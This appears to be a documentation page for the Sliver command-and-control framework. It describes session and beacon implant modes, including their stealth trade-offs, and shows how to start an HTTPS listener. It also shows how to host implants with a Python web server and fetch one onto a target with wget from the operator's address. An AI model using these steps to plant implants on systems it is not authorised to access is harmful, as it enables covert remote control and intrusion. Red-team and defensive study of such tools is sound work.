Skip to main content

Implants

Implants are the C2 agents that are created and deployed to the target machine. Once active on the target host, the operator can then interact with it from the Sliver Client. An implant can operate in two different modes; session mode or beacon mode. Each has their own pros and cons, so the operator needs to determine how they want to intereact with the implant.

In session mode, implants use a persistent network connection from the target to the Sliver Server. In other words, in this mode, when the operator submits a command to run on the target, they will receive immediate responses. Similar to what you would experience with shell access. Of course, this persistent connection from the target may cause some concerns if the operator wants to be more stealthy.

In beacon mode, implants do not use persistent connections. Rather, they will create temporary connections to the Sliver Server at somewhat irregular intervals. When not actively connected, the implant will go to sleep until called upon again. This means that any commands that the operator submits will not give immediate feedback. Essentially, they are queued and when the implant wakes up it will run all of the queued commands at that time. Then, the operator can view the results of each command as they want. While the temporary connections may be less visible, the target will still be making semi-regular connections which may be caught.

Start a Listener​

Start up a transport listener that you plan to use. In this example we will start an HTTPS transport for the implants to communicate over. All communications between the implant and the server are always encrypted. Even if you select an "HTTP" listener on port 80, the traffic is still encrypted.

[server] sliver > https

[*] Starting HTTPS :443 listener ...

[*] Successfully started job #2

Implant Deployment​

Obviously you will need a way to deliver the implant to the target host. The best way to do this will be determined by the operator. In this example, we will start-up a simple Python 3 web server to host the implants. You could use other methods, such as SMB shares, or SSH options.

python3 -m http.server

On the target host, it can be downloaded by the browser or wget/cURL:

wget http://<ip address>:8000/filename.exe